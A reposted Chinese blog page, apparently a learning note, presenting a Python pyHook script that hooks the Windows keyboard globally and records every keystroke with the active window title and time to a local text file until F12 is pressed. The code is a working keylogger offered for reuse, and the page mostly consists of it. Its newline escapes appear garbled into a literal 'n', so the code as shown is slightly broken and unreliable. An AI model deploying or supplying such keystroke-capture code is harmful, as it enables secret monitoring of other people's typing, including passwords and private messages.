加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 编程开发 > Java > 正文

pyhooks实现键盘监控学习心得

发布时间:2020-12-15 00:29:32 所属栏目:Java 来源:网络整理
导读:今天PHP站长网 52php.cn把收集自互联网的代码分享给大家,仅供参考。 # -*- coding: cp936 -*-import pythoncom import pyHook import timeimport win32apit=''asciistr=''keystr=''def onKeyboardEvent(event): global t

以下代码由PHP站长网 52php.cn收集自互联网

现在PHP站长网小编把它分享给大家,仅供参考

# -*- coding: cp936 -*-
import pythoncom  
import pyHook  
import time
import win32api
t=''
asciistr=''
keystr=''
def onKeyboardEvent(event):   
    global t,asciistr,keystr
    filename='d://test.txt'
    wrfile=open(filename,'ab')
    "处理键盘事件"
    if t==str(event.WindowName):
        asciistr=asciistr+chr(event.Ascii)
        keystr=keystr+str(event.Key)
        
    else:
        t=str(event.WindowName)
        if asciistr=='' and keystr=='':
            wrfile.writelines("nWindow:%sn" % str(event.Window))
            wrfile.writelines("WindowName:%sn" % str(event.WindowName)) #写入当前窗体名
            wrfile.writelines("MessageName:%sn" % str(event.MessageName))
            wrfile.writelines("Message:%dn" % event.Message)
            wrfile.writelines("Time:%sn" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))
        else:
            wrfile.writelines("Ascii_char:%sn" %asciistr)
            wrfile.writelines("Key_char:%sn" %keystr)
            wrfile.writelines("nWindow:%sn" % str(event.Window))
            wrfile.writelines("WindowName:%sn" % str(event.WindowName)) #写入当前窗体名
            wrfile.writelines("Time:%sn" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))
        
        asciistr=chr(event.Ascii)
        keystr=str(event.Key)
    if str(event.Key)=='F12':  #按下F12后终止
        wrfile.writelines("Ascii_char:%sn" %asciistr)
        wrfile.writelines("Key_char:%sn" %keystr)
        wrfile.close()    
        win32api.PostQuitMessage()
        
    return True
   
    

if __name__ == "__main__":
    '''
小五义:http://www.cnblogs.com/xiaowuyi
'''

    #创建hook句柄  
    hm = pyHook.HookManager()  

    #监控键盘  
    hm.KeyDown = onKeyboardEvent  
    hm.HookKeyboard()  

    #循环获取消息  
    pythoncom.PumpMessages(10000)  
      

转自:http://www.cnblogs.com/xiaowuyi/archive/2012/03/15/2398665.html

以上内容由PHP站长网【52php.cn】收集整理供大家参考研究

如果以上内容对您有帮助,欢迎收藏、点赞、推荐、分享。

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读